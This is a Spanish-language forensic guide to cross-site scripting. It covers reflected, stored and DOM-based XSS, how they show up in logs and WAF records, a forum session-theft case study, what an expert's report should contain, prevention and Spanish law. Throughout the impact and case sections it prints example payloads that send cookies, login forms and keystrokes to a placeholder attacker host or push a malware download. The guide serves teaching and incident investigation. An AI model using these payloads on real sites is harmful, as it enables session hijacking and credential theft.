XSS (Cross-Site Scripting)

¿Qué es XSS?

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a atacantes inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. El navegador de la víctima ejecuta el código creyendo que es parte legítima del sitio.

Tipos de XSS

XSS Reflejado (Reflected)

El script malicioso viene en la URL y se “refleja” en la respuesta:

https://victima.invalid/buscar?q=<script>alert('XSS')</script>

La víctima debe hacer clic en un enlace malicioso.

XSS Almacenado (Stored)

El script se guarda en la base de datos y se ejecuta cada vez que se carga la página:

<!-- Comentario guardado en foro -->
<script>document.location='https://atacante.invalid/?c='+document.cookie</script>

Todos los usuarios que visitan la página son víctimas.

XSS DOM-Based

La vulnerabilidad está en el código JavaScript del cliente:

// Código vulnerable
document.getElementById("output").innerHTML = location.hash.slice(1);

// URL maliciosa
https://victima.invalid/#<img src=x onerror=alert('XSS')>

Impacto de XSS

Robo de Sesión

// Script inyectado
new Image().src = 'https://atacante.invalid/robar.php?cookie=' + document.cookie;

El atacante obtiene la cookie de sesión y puede suplantar al usuario.

Captura de Credenciales

// Modificar formulario de login
document.forms[0].action = 'https://atacante.invalid/captura.php';

Keylogging en Navegador

// Capturar todas las pulsaciones
document.onkeypress = function(e) {
  new Image().src = 'https://atacante.invalid/log.php?key=' + e.key;
};

Distribución de Malware

// Redirigir a descarga maliciosa
if(!localStorage.getItem('infected')) {
  localStorage.setItem('infected', '1');
  location = 'https://atacante.invalid/malware.exe';
}

Análisis Forense de XSS

Logs de Servidor Web

## Payload XSS reflejado, visible en access.log porque viaja en la query string
203.0.113.7 - - [18/Jan/2026:10:32:15 +0100] "GET /buscar?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

## Decodificado: ?q=<script>alert(1)</script>

⚠️ Este recetario NO sirve para el XSS DOM-Based, y esa variante es frecuente —no se da aquí una proporción: la fuente enlazada no publica ninguna—. Cuando el payload viaja en el fragmento (#…), como en el ejemplo de más arriba, el navegador no lo envía al servidor: no aparece en ningún access.log, por completo que sea. Ahí las fuentes son el registro del WAF, la telemetría del navegador o los propios registros de la aplicación si instrumenta el DOM. Buscar en access.log y no encontrar nada no acredita que no hubo XSS.

Indicadores en WAF

Los Web Application Firewalls registran intentos bloqueados:

[XSS Attack Detected]     ← formato de ejemplo; cada WAF escribe el suyo
Rule ID: 941100           ← OWASP CRS: "XSS Attack Detected via libinjection"
URI: /comentarios
Parameter: mensaje
Value: <script>document.location='http://atacante.invalid/?c='+document.cookie</script>
Action: Blocked

Caso Práctico: Robo de Sesiones

Escenario

Un foro detecta que múltiples cuentas de usuarios fueron comprometidas.

Investigación Forense

1. Análisis de base de datos

SELECT * FROM comentarios
WHERE contenido LIKE '%<script%' OR contenido LIKE '%onerror=%';

Encontrado:

Comentario ID: 45678
Usuario: atacante123
Contenido: "Buen post! <img src=x onerror=fetch('https://atacante.invalid/steal?c='+document.cookie)>"
Fecha: 2026-01-10 14:32

2. Análisis de logs

## Accesos al post infectado
10/01 14:35 - 192.168.1.50 - GET /foro/post/123 - víctima1
10/01 14:37 - 192.168.1.51 - GET /foro/post/123 - víctima2
...
50+ accesos al post infectado

3. Rastreo del atacante

IP origen del comentario: 203.0.113.7 (salida de VPN comercial)
Dominio receptor: el del script inyectado
Antigüedad del registro: dato a extraer del WHOIS en el momento del análisis
                          — un dominio registrado días antes del ataque es
                            indicio de preparación, y conviene fecharlo

⚠️ document.cookie no ve las cookies marcadas HttpOnly, que es como se emite hoy una cookie de sesión bien configurada. Si el robo funcionó, el informe debe explicar por qué: cookie sin HttpOnly, sesión en localStorage, o exfiltración de otra cosa (tokens en el DOM, contenido de la página). Darlo por hecho es el error que la contraparte va a señalar primero.

4. Impacto determinado

• 50+ sesiones robadas
• 12 cuentas usadas para spam
• 3 cuentas premium comprometidas
• Datos personales expuestos

Qué debe llevar el informe

• Preservación previa: copia de los registros y del contenido almacenado, con SHA-256 y fecha de adquisición, antes de tocar nada. Sin eso, lo demás no es un dictamen: es una descripción
• Descripción técnica de la vulnerabilidad
• Timeline del ataque
• Lista de usuarios afectados
• Análisis del payload malicioso
• Recomendaciones de remediación

Prevención

Para Desarrolladores

Ejemplo de Sanitización

// MAL - Vulnerable
element.innerHTML = userInput;

// BIEN - Seguro
element.textContent = userInput;
// O usar librería de sanitización
element.innerHTML = DOMPurify.sanitize(userInput);

Marco Legal

Delitos Aplicables (España)

Responsabilidad del Sitio

Quien explota el sitio puede responder civilmente, pero conviene usar las categorías correctas. El RGPD no habla de «propietario del sitio» sino de responsable y encargado del tratamiento, y su art. 82 exige daño —material o inmaterial— y relación de causalidad con una infracción del Reglamento; no basta con que la medida de seguridad fuera insuficiente. Además, el art. 32 impone medidas apropiadas al riesgo, no unas concretas.

Conclusión

XSS sigue siendo una de las vulnerabilidades web más prevalentes y peligrosas. El análisis forense de ataques XSS requiere examinar logs, bases de datos, y código para identificar el punto de inyección, el impacto, y rastrear al atacante. Para un perito, documentar técnicamente cómo ocurrió el ataque y sus consecuencias es fundamental para procedimientos legales.

Referencias y fuentes

1. OWASP — Cross Site Scripting (XSS). Definición de referencia y taxonomía de las tres variantes.
2. OWASP Top 10 — Injection. Desde la edición de 2021 el XSS deja de ser categoría propia y se integra aquí, como A03:2021; en la edición 2025 la misma categoría es A05.
3. OWASP Cheat Sheet Series — Cross Site Scripting Prevention. Escape según el contexto de salida. La propia guía advierte de que ninguna técnica aislada resuelve el XSS: combina el escape contextual con validación, política de seguridad de contenido y el uso de marcos que escapan por defecto.
4. OWASP Core Rule Set — coreruleset.org. Es el origen de la familia de identificadores 941xxx que aparece en los registros de WAF; el enlace es la portada del proyecto y no permite verificar una regla concreta: para eso hay que abrir su fichero de reglas en el repositorio.
5. MDN — Using HTTP cookies. HttpOnly, Secure y SameSite, y por qué document.cookie no ve las primeras.
6. Código Penal — arts. 197, 197 bis, 249 y 264, BOE.

Última actualización: 2 de septiembre de 2026 Categoría: Seguridad Código: XSS-001